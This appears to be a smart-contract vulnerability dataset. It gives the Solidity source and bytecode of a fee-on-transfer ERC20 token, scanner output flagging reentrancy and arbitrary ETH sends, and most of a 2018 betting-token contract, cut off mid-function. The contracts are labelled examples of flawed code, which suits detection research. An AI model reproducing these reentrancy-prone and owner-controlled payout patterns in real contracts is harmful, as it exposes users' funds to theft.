return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_teamFee = 6;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
_teamFee = 10;
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 300000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610340578063c3c8cd8014610360578063c9567bf914610375578063db92dbb61461038a578063dd62ed3e1461039f578063e8078d94146103e557600080fd5b8063715018a6146102c45780638da5cb5b146102d957806395d89b4114610145578063a9059cbb14610301578063a985ceef1461032157600080fd5b8063313ce567116100fd578063313ce5671461021157806345596e2e1461022d5780635932ead11461024f57806368a3a6a51461026f5780636fc3eaec1461028f57806370a08231146102a457600080fd5b806306fdde0314610145578063095ea7b31461018557806318160ddd146101b557806323b872dd146101dc57806327f3a72a146101fc57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b506040805180820182526008815267446f676541524d5960c01b6020820152905161017c9190611a25565b60405180910390f35b34801561019157600080fd5b506101a56101a036600461197d565b6103fa565b604051901515815260200161017c565b3480156101c157600080fd5b5069152d02c7e14af68000005b60405190815260200161017c565b3480156101e857600080fd5b506101a56101f736600461193d565b610411565b34801561020857600080fd5b506101ce61047a565b34801561021d57600080fd5b506040516009815260200161017c565b34801561023957600080fd5b5061024d6102483660046119e0565b61048a565b005b34801561025b57600080fd5b5061024d61026a3660046119a8565b610533565b34801561027b57600080fd5b506101ce61028a3660046118cd565b6105b2565b34801561029b57600080fd5b5061024d6105d5565b3480156102b057600080fd5b506101ce6102bf3660046118cd565b610602565b3480156102d057600080fd5b5061024d610624565b3480156102e557600080fd5b506000546040516001600160a01b03909116815260200161017c565b34801561030d57600080fd5b506101a561031c36600461197d565b610698565b34801561032d57600080fd5b50601354600160a81b900460ff166101a5565b34801561034c57600080fd5b506101ce61035b3660046118cd565b6106a5565b34801561036c57600080fd5b5061024d6106cb565b34801561038157600080fd5b5061024d610701565b34801561039657600080fd5b506101ce61074e565b3480156103ab57600080fd5b506101ce6103ba366004611905565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103f157600080fd5b5061024d610766565b6000610407338484610b1b565b5060015b92915050565b600061041e848484610c3f565b610470843361046b85604051806060016040528060288152602001611bc5602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061117c565b610b1b565b5060019392505050565b600061048530610602565b905090565b6011546001600160a01b0316336001600160a01b0316146104aa57600080fd5b603381106104f75760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b0316331461055d5760405162461bcd60e51b81526004016104ee90611a78565b6013805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870690602001610528565b6001600160a01b03811660009081526006602052604081205461040b9042611b74565b6011546001600160a01b0316336001600160a01b0316146105f557600080fd5b476105ff816111b6565b50565b6001600160a01b03811660009081526002602052604081205461040b906111f0565b6000546001600160a01b0316331461064e5760405162461bcd60e51b81526004016104ee90611a78565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610407338484610c3f565b6001600160a01b03811660009081526006602052604081206001015461040b9042611b74565b6011546001600160a01b0316336001600160a01b0316146106eb57600080fd5b60006106f630610602565b90506105ff81611274565b6000546001600160a01b0316331461072b5760405162461bcd60e51b81526004016104ee90611a78565b6013805460ff60a01b1916600160a01b179055610749426078611b1d565b601455565b601354600090610485906001600160a01b0316610602565b6000546001600160a01b031633146107905760405162461bcd60e51b81526004016104ee90611a78565b601354600160a01b900460ff16156107ea5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104ee565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610828308269152d02c7e14af6800000610b1b565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561086157600080fd5b505afa158015610875573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089991906118e9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108e157600080fd5b505afa1580156108f5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091991906118e9565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561096157600080fd5b505af1158015610975573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099991906118e9565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d71947306109c981610602565b6000806109de6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4157600080fd5b505af1158015610a55573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a7a91906119f8565b5050681043561a88293000006010555042600d5560135460125460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610adf57600080fd5b505af1158015610af3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1791906119c4565b5050565b6001600160a01b038316610b7d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ee565b6001600160a01b038216610bde5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ee565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ee565b6001600160a01b038216610d055760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ee565b60008111610d675760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ee565b6000546001600160a01b03848116911614801590610d9357506000546001600160a01b03838116911614155b1561111f57601354600160a81b900460ff1615610e13573360009081526006602052604090206002015460ff16610e1357604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6013546001600160a01b038481169116148015610e3e57506012546001600160a01b03838116911614155b8015610e6357506001600160a01b03821660009081526005602052604090205460ff16155b15610fc257601354600160a01b900460ff16610ec15760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016104ee565b6006600a55601354600160a81b900460ff1615610f8857426014541115610f8857601054811115610ef157600080fd5b6001600160a01b0382166000908152600660205260409020544211610f635760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016104ee565b610f6e42602d611b1d565b6001600160a01b0383166000908152600660205260409020555b601354600160a81b900460ff1615610fc257610fa542600f611b1d565b6001600160a01b0383166000908152600660205260409020600101555b6000610fcd30610602565b601354909150600160b01b900460ff16158015610ff857506013546001600160a01b03858116911614155b801561100d5750601354600160a01b900460ff165b1561111d57600a8055601354600160a81b900460ff161561109e576001600160a01b038416600090815260066020526040902060010154421161109e5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016104ee565b801561110b57600b546013546110d4916064916110ce91906110c8906001600160a01b0316610602565b90611419565b90611498565b81111561110257600b546013546110ff916064916110ce91906110c8906001600160a01b0316610602565b90505b61110b81611274565b47801561111b5761111b476111b6565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061116157506001600160a01b03831660009081526005602052604090205460ff165b1561116a575060005b611176848484846114da565b50505050565b600081848411156111a05760405162461bcd60e51b81526004016104ee9190611a25565b5060006111ad8486611b74565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610b17573d6000803e3d6000fd5b60006007548211156112575760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104ee565b6000611261611508565b905061126d8382611498565b9392505050565b6013805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112ca57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561131e57600080fd5b505afa158015611332573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135691906118e9565b8160018151811061137757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260125461139d9130911684610b1b565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113d6908590600090869030904290600401611aad565b600060405180830381600087803b1580156113f057600080fd5b505af1158015611404573d6000803e3d6000fd5b50506013805460ff60b01b1916905550505050565b6000826114285750600061040b565b60006114348385611b55565b9050826114418583611b35565b1461126d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ee565b600061126d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061152b565b806114e7576114e7611559565b6114f2848484611587565b8061117657611176600e54600955600f54600a55565b600080600061151561167e565b90925090506115248282611498565b9250505090565b6000818361154c5760405162461bcd60e51b81526004016104ee9190611a25565b5060006111ad8486611b35565b6009541580156115695750600a54155b1561157057565b60098054600e55600a8054600f5560009182905555565b600080600080600080611599876116c2565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115cb908761171f565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115fa9086611761565b6001600160a01b03891660009081526002602052604090205561161c816117c0565b611626848361180a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161166b91815260200190565b60405180910390a3505050505050505050565b600754600090819069152d02c7e14af680000061169b8282611498565b8210156116b95750506007549269152d02c7e14af680000092509050565b90939092509050565b60008060008060008060008060006116df8a600954600a5461182e565b92509250925060006116ef611508565b905060008060006117028e87878761187d565b919e509c509a509598509396509194505050505091939550919395565b600061126d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061117c565b60008061176e8385611b1d565b90508381101561126d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ee565b60006117ca611508565b905060006117d88383611419565b306000908152600260205260409020549091506117f59082611761565b30600090815260026020526040902055505050565b600754611817908361171f565b6007556008546118279082611761565b6008555050565b600080808061184260646110ce8989611419565b9050600061185560646110ce8a89611419565b9050600061186d826118678b8661171f565b9061171f565b9992985090965090945050505050565b600080808061188c8886611419565b9050600061189a8887611419565b905060006118a88888611419565b905060006118ba82611867868661171f565b939b939a50919850919650505050505050565b6000602082840312156118de578081fd5b813561126d81611ba1565b6000602082840312156118fa578081fd5b815161126d81611ba1565b60008060408385031215611917578081fd5b823561192281611ba1565b9150602083013561193281611ba1565b809150509250929050565b600080600060608486031215611951578081fd5b833561195c81611ba1565b9250602084013561196c81611ba1565b929592945050506040919091013590565b6000806040838503121561198f578182fd5b823561199a81611ba1565b946020939093013593505050565b6000602082840312156119b9578081fd5b813561126d81611bb6565b6000602082840312156119d5578081fd5b815161126d81611bb6565b6000602082840312156119f1578081fd5b5035919050565b600080600060608486031215611a0c578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a5157858101830151858201604001528201611a35565b81811115611a625783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611afc5784516001600160a01b031683529383019391830191600101611ad7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b3057611b30611b8b565b500190565b600082611b5057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b6f57611b6f611b8b565b500290565b600082821015611b8657611b86611b8b565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146105ff57600080fd5b80151581146105ff57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202fd458e3ce7cbad7e198c0967202a43f590f0eabc6b420d2b087807500a99f8864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,452 |
0x24ce35feecb226fb2238ebf551212cc8ad99cf28
|
pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title StandardToken
@ @dev Standard ERC20 token
*/
contract StandardToken {
using SafeMath for uint256;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) internal balances_;
mapping(address => mapping(address => uint256)) internal allowed_;
uint256 internal totalSupply_;
string public name;
string public symbol;
uint8 public decimals;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances_[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed_ to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed_[_owner][_spender];
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances_[msg.sender]);
balances_[msg.sender] = balances_[msg.sender].sub(_value);
balances_[_to] = balances_[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances_[_from]);
require(_value <= allowed_[_from][msg.sender]);
balances_[_from] = balances_[_from].sub(_value);
balances_[_to] = balances_[_to].add(_value);
allowed_[_from][msg.sender] = allowed_[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed_[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
}
/**
* @title TeamToken
@ @dev The team token. One token represents a team. TeamToken is also a ERC20 standard token.
*/
contract TeamToken is StandardToken, Ownable {
event Buy(address indexed token, address indexed from, uint256 value, uint256 weiValue);
event Sell(address indexed token, address indexed from, uint256 value, uint256 weiValue);
event BeginGame(address indexed team1, address indexed team2, uint64 gameTime);
event EndGame(address indexed team1, address indexed team2, uint8 gameResult);
event ChangeStatus(address indexed team, uint8 status);
/**
* @dev Token price based on ETH
*/
uint256 public price;
/**
* @dev status=0 buyable & sellable, user can buy or sell the token.
* status=1 not buyable & not sellable, user cannot buy or sell the token.
*/
uint8 public status;
/**
* @dev The game start time. gameTime=0 means game time is not enabled or not started.
*/
uint64 public gameTime;
/**
* @dev The fee owner. The fee will send to this address.
*/
address public feeOwner;
/**
* @dev Game opponent, gameOpponent is also a TeamToken.
*/
address public gameOpponent;
/**
* @dev Team name and team symbol will be ERC20 token name and symbol. Token decimals will be 3.
* Token total supply will be 0. The initial price will be 1 szabo (1000000000000 Wei)
*/
function TeamToken(string _teamName, string _teamSymbol, address _feeOwner) public {
name = _teamName;
symbol = _teamSymbol;
decimals = 3;
totalSupply_ = 0;
price = 1 szabo;
feeOwner = _feeOwner;
owner = msg.sender;
}
/**
* @dev Sell Or Transfer the token.
*
* Override ERC20 transfer token function. If the _to address is not this TeamToken,
* then call the super transfer function, which will be ERC20 token transfer.
* Otherwise, the user want to sell the token (TeamToken -> ETH).
* @param _to address The address which you want to transfer/sell to
* @param _value uint256 the amount of tokens to be transferred/sold
*/
function transfer(address _to, uint256 _value) public returns (bool) {
if (_to != address(this)) {
return super.transfer(_to, _value);
}
require(_value <= balances_[msg.sender] && status == 0);
// If gameTime is enabled (larger than 1514764800 (2018-01-01))
if (gameTime > 1514764800) {
// We will not allowed to sell after 5 minutes (300 seconds) before game start
require(gameTime - 300 > block.timestamp);
}
balances_[msg.sender] = balances_[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
uint256 weiAmount = price.mul(_value);
msg.sender.transfer(weiAmount);
emit Transfer(msg.sender, _to, _value);
emit Sell(_to, msg.sender, _value, weiAmount);
return true;
}
/**
* @dev Buy token using ETH
* User send ETH to this TeamToken, then his token balance will be increased based on price.
* The total supply will also be increased.
*/
function() payable public {
require(status == 0 && price > 0);
// If gameTime is enabled (larger than 1514764800 (2018-01-01))
if (gameTime > 1514764800) {
// We will not allowed to sell after 5 minutes (300 seconds) before game start
require(gameTime - 300 > block.timestamp);
}
uint256 amount = msg.value.div(price);
balances_[msg.sender] = balances_[msg.sender].add(amount);
totalSupply_ = totalSupply_.add(amount);
emit Transfer(address(this), msg.sender, amount);
emit Buy(address(this), msg.sender, amount, msg.value);
}
/**
* @dev The the game status.
*
* status = 0 buyable & sellable, user can buy or sell the token.
* status=1 not buyable & not sellable, user cannot buy or sell the token.
* @param _status The game status.
*/
function changeStatus(uint8 _status) onlyOwner public {
require(status != _status);
status = _status;
emit ChangeStatus(address(this), _status);
}
/**
* @dev Finish the game
*
* If the time is older than one month after 2017-18 UEFA Champions league (2018-05-26 19:45:00 UTC)
* The owner has permission to transfer the balance to the feeOwner.
* The user can get back the balance using the website after this time.
*/
function finish() onlyOwner public {
// 2018-06-25 18:45:00 UTC
require(block.timestamp >= 1529952300);
feeOwner.transfer(address(this).balance);
}
/**
* @dev Start the game
*
* Start a new game. Initialize game opponent, game time and status.
* @param _gameOpponent The game opponent contract address
* @param _gameTime The game begin time. optional
*/
function beginGame(address _gameOpponent, uint64 _gameTime) onlyOwner public {
require(_gameOpponent != address(0) && _gameOpponent != address(this) && gameOpponent == address(0));
// 1514764800 = 2018-01-01
// 1546300800 = 2019-01-01
require(_gameTime == 0 || (_gameTime > 1514764800 && _gameTime < 1546300800));
gameOpponent = _gameOpponent;
gameTime = _gameTime;
status = 0;
emit BeginGame(address(this), _gameOpponent, _gameTime);
}
/**
* @dev End the game with game final result.
*
* The function only allow to be called with the lose team or the draw team with large balance.
* We have this rule because the lose team or draw team will large balance need transfer balance to opposite side.
* This function will also change status of opposite team by calling transferFundAndEndGame function.
* So the function only need to be called one time for the home and away team.
* The new price will be recalculated based on the new balance and total supply.
*
* Balance transfer rule:
* 1. The rose team will transfer all balance to opposite side.
* 2. If the game is draw, the balances of two team will go fifty-fifty.
* 3. If game is canceled, the balance is not touched and the game states will be reset to initial states.
* 4. The fee will be 5% of each transfer amount.
* @param _gameOpponent The game opponent contract address
* @param _gameResult game result. 1=lose, 2=draw, 3=cancel, 4=win (not allow)
*/
function endGame(address _gameOpponent, uint8 _gameResult) onlyOwner public {
require(gameOpponent != address(0) && gameOpponent == _gameOpponent);
uint256 amount = address(this).balance;
uint256 opAmount = gameOpponent.balance;
require(_gameResult == 1 || (_gameResult == 2 && amount >= opAmount) || _gameResult == 3);
TeamToken op = TeamToken(gameOpponent);
if (_gameResult == 1) {
// Lose
if (amount > 0 && totalSupply_ > 0) {
uint256 lostAmount = amount;
// If opponent has supply
if (op.totalSupply() > 0) {
// fee is 5%
uint256 feeAmount = lostAmount.div(20);
lostAmount = lostAmount.sub(feeAmount);
feeOwner.transfer(feeAmount);
op.transferFundAndEndGame.value(lostAmount)();
} else {
// If opponent has not supply, then send the lose money to fee owner.
feeOwner.transfer(lostAmount);
op.transferFundAndEndGame();
}
} else {
op.transferFundAndEndGame();
}
} else if (_gameResult == 2) {
// Draw
if (amount > opAmount) {
lostAmount = amount.sub(opAmount).div(2);
